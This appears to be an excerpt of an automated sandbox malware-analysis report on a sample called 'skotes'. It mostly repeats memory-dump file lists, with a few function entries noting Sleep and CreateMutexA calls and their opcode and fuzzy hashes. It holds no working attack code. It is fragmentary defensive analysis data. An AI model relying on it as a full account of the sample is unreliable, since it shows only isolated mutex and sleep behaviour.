Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: 4636b18c6776cf5992d644ad89c0145520acabaaa4dbcd2f70ce131c44f47c4e
Instruction ID: 340b887fd7ec26d8d6ba69d0a23577fc96638662a8ce1eb46734083b97f0657b
Opcode Fuzzy Hash: 4636b18c6776cf5992d644ad89c0145520acabaaa4dbcd2f70ce131c44f47c4e
Instruction Fuzzy Hash: E5313531B902049BEB0CDBBCDD89BAEB763EF86314F248618E414EB3D5C77599808756

Function 0060A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: ae77fa82b80ca44c9b42b7e8746cf2694903e5d3dbfb673dcf2050fbf96de888
Instruction ID: 5d8dcf01d03a30f0a4fadb8f86bf48341a244d2f8ed461f4f4b98fefe812ab07
Opcode Fuzzy Hash: ae77fa82b80ca44c9b42b7e8746cf2694903e5d3dbfb673dcf2050fbf96de888
Instruction Fuzzy Hash: 3D313731B902049BEB0CDBBCDD85BAEB773DB82354F248618E014DB3D5C77559808652

Function 00609ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: 46c6e2e435a4d5fad19fd884629a357f85b947c26495d6b82c985925217b8009
Instruction ID: 14268730072d1e15865ab896de0dc4cf1b0de098ccf2615e6e56ba385bb09e12
Opcode Fuzzy Hash: 46c6e2e435a4d5fad19fd884629a357f85b947c26495d6b82c985925217b8009
Instruction Fuzzy Hash: 71216731B842009BEB1CABACEC8576EB767EFC2310F244619E404D73D6C7B59A808752

Function 0060A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487110165.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487149781.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487167064.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487185341.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487204949.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487230454.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487247568.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487264556.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487284342.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487302608.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487320510.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487339666.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487356200.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487371192.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487386011.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487401136.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487416008.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487430765.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487445085.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487466619.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487484405.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487503324.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487520463.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487540232.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487556831.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487573270.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487589441.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487635756.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487650878.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487671613.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487688557.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487711172.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487727174.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: 991433504c7ce20fcd4488327a343a3cf0e61c62857d85019bf47d3bec35155a
Instruction ID: afe0a8e28a7efac3d941e96f3941ae474f73123539044e9b1d3c68756d483708
Opcode Fuzzy Hash: 991433504c7ce20fcd4488327a343a3cf0e61c62857d85019bf47d3bec35155a
Instruction Fuzzy Hash: 35213D317C43009AF72CA7EC999677FB253DF81340F24491AE544D73D2DAB559818197

Function 0060A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0060A963
CreateMutexA.KERNELBASE(00000000,00000000,00663254), ref: 0060A981

Strings

T2f, xrefs: 0060A970

Memory Dump Source

Source File: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1486079645.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486178970.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486598692.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486617811.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486658352.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486673887.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486691158.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486798163.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486817828.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486843858.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486863331.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486882263.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486915608.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486930876.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486945694.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486965787.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486983847.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1486999480.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487025692.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487043861.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487065166.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1487083690.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
